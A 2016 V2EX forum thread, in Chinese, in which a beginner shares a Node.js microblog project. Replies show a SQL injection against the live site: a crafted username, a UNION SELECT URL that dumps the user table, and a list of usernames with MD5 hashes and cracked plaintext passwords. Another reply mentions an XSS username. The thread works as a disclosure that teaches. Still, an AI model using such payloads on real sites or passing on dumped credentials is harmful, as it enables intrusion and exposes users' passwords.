V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
lizhiqing1996
V2EX  ›  Node.js

初学 nodejs,撸了个简单的微博系统,求轻喷

  •  
  •   lizhiqing1996 · 2016-05-24 19:09:57 +08:00 · 6513 次点击
    这是一个创建于 2886 天前的主题,其中的信息可能已经有所发展或是发生改变。

    截图: microblog

    示例: microblog

    源码: github

    30 条回复    2016-05-27 17:25:32 +08:00
    ruooooooli
        1
    ruooooooli  
       2016-05-24 19:15:42 +08:00
    看起来挺好的 也打算学学
    willhunger
        2
    willhunger  
       2016-05-24 19:25:58 +08:00 via iPhone
    你的 node.js 怎么学习的呀??
    a2ex
        3
    a2ex  
       2016-05-24 19:31:27 +08:00
    http 服务器消息处理+数据库读写。。。
    lizhiqing1996
        4
    lizhiqing1996  
    OP
       2016-05-24 19:32:39 +08:00
    @willhunger 我看的《 nodejs 开发指南》,这个微博例子就是上面的,不过我换了很多内容
    lizhiqing1996
        5
    lizhiqing1996  
    OP
       2016-05-24 19:33:48 +08:00
    @a2ex 初学只能做到这样了。。。
    Dvel
        6
    Dvel  
       2016-05-24 19:47:45 +08:00
    学了多久了,我过阵子也打算学学 node.js
    zonghua
        7
    zonghua  
       2016-05-24 19:50:17 +08:00
    没什么好学的。。。
    lizhiqing1996
        8
    lizhiqing1996  
    OP
       2016-05-24 20:20:38 +08:00   ❤️ 1
    @Dvel 差不多一周,大学狗没什么时间,一周七天都有课,作业还超多


    @zonghua 主要是在学 Android ,学 nodejs 主要是学习写 API
    freewheel
        9
    freewheel  
       2016-05-25 01:20:12 +08:00 via iPhone
    maek
    xqin
        10
    xqin  
       2016-05-25 09:05:39 +08:00   ❤️ 1
    赤果果的 sql 注入...
    https://github.com/Zhiqing-Lee/microblog/blob/master/models/post.js 第 32 行,自己手工将当前的用户名拼入 Sql 语句中.
    整个项目中,其他地方都是用的 ? 来带入的(这时候会自动处理, 不会有注入的情况, 只有这里自己手工带进去了).

    然后我注册了一个名为 `" or ""="` 的用户, 然后...你懂的, 自己看结果
    我注册的账号的列表页:
    http://mb.zhiqing.info/u/%22%20or%20%22%22=%22

    其他普通帐号的:
    http://mb.zhiqing.info/u/qwe
    qinxi
        11
    qinxi  
       2016-05-25 09:46:13 +08:00
    @xqin 哈哈哈,一看初学者,我就猜有人要注入
    xqin
        12
    xqin  
       2016-05-25 09:56:34 +08:00   ❤️ 1
    再来个炸弹:

    http://mb.zhiqing.info/u/%22%20union%20ALL%20select%20name%20as%20user,password%20as%20post,%200%20as%20time%20from%20users%20where%20%22%22=%22

    根据查出来的结果, 以及根据代码中密码的写入方式得知是 MD5 + base64 的结果,所以...

    以下为目前列出来的账号的密码:

    zhiqing f57b888bc53ccfa3e4a71f19604df23c 找到了,但是是一条付费才能看的.
    qwe 76d80224611fc919a5d54f0ff9fba446 qwe
    123 202cb962ac59075b964b07152d234b70 123
    <h1>123</h1> 5e6535e26cf8c546395f4e3f4c5d189e 未找到
    123qwe 46f94c8de14fb36680850768ff1b7f2a 123qwe
    3123 e10adc3949ba59abbe56e057f20f883e 123456
    <img src=x> eb6cd2e33d39e677b19b611fe2eb32ee 未找到
    jerry 202cb962ac59075b964b07152d234b70 123
    foo 37b51d194a7513e45b56f6524f2d51f2 bar
    " or ""=" e10adc3949ba59abbe56e057f20f883e 123456
    tet111 4297f44b13955235245b2497399d7a93 123123
    xqin
        13
    xqin  
       2016-05-25 09:57:08 +08:00
    @qinxi 这不是猜, 这是根据他的代码得出来的结论以及事实.
    cappuccinos
        14
    cappuccinos  
       2016-05-25 10:03:55 +08:00
    好样的 1!
    xqin
        15
    xqin  
       2016-05-25 10:09:06 +08:00
    zhiqing 的那个密码也查出来了 密码为: lizhiqing
    garipan
        16
    garipan  
       2016-05-25 10:11:18 +08:00
    你们太坏了 真的
    lizhiqing1996
        17
    lizhiqing1996  
    OP
       2016-05-25 11:02:45 +08:00 via Android
    @xqin 学习了,终于意识到自己的代码是多么不安全了😂
    hard2reg
        18
    hard2reg  
       2016-05-25 11:07:01 +08:00
    你们这群人,太可怕了
    hard2reg
        19
    hard2reg  
       2016-05-25 11:07:43 +08:00
    @xqin 大神,收我为徒吧!
    jame
        20
    jame  
       2016-05-25 12:33:22 +08:00
    帐号可以带空格, 带标签
    注册了一个<script>alert(1);</script>
    Fontaine
        21
    Fontaine  
       2016-05-25 13:46:37 +08:00
    还是 php 好啊
    miaotaizi
        22
    miaotaizi  
       2016-05-25 13:57:49 +08:00
    @Fontaine PHP 做不了微博系统, 只能做留言板......
    qfdk
        23
    qfdk  
       2016-05-25 15:54:12 +08:00
    来来来我来围观,正好有个项目,下午去检测下
    lizhiqing1996
        24
    lizhiqing1996  
    OP
       2016-05-25 16:00:41 +08:00
    @jame 嗯,为了快速开发出来,没有对用户名密码等字符串进行过滤,好像不为空都只是在前台验证了下,


    @Fontaine 什么语言不是一样吗,初学都写得烂。。。
    lizhiqing1996
        25
    lizhiqing1996  
    OP
       2016-05-25 16:34:32 +08:00   ❤️ 1
    @xqin 我操作数据库老是出问题,只好增加了用户名限制,能解决这个问题吗?
    MiguelValentine
        26
    MiguelValentine  
       2016-05-25 18:37:51 +08:00
    @lizhiqing1996 pool.escape()或者 connection.escape() 处理一遍参数
    yang2yang
        27
    yang2yang  
       2016-05-25 20:46:22 +08:00
    看到那个 sql 注入,才知道原来 sql 注入是这样操作的....又学到一手
    zhpech
        28
    zhpech  
       2016-05-25 23:22:18 +08:00 via iPhone
    @miaotaizi PHP 为啥做不了微博系统………
    miaotaizi
        29
    miaotaizi  
       2016-05-27 12:40:02 +08:00
    @zhpech 只是个玩笑话, 别当真. 看楼主初学 nodejs 想起了当时自己初学 PHP 就是做留言板...
    zhpech
        30
    zhpech  
       2016-05-27 17:25:32 +08:00
    @miaotaizi ╭(╯^╰)╮还以为又要黑我 PHP
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5348 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 32ms · UTC 09:05 · PVG 17:05 · LAX 02:05 · JFK 05:05
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.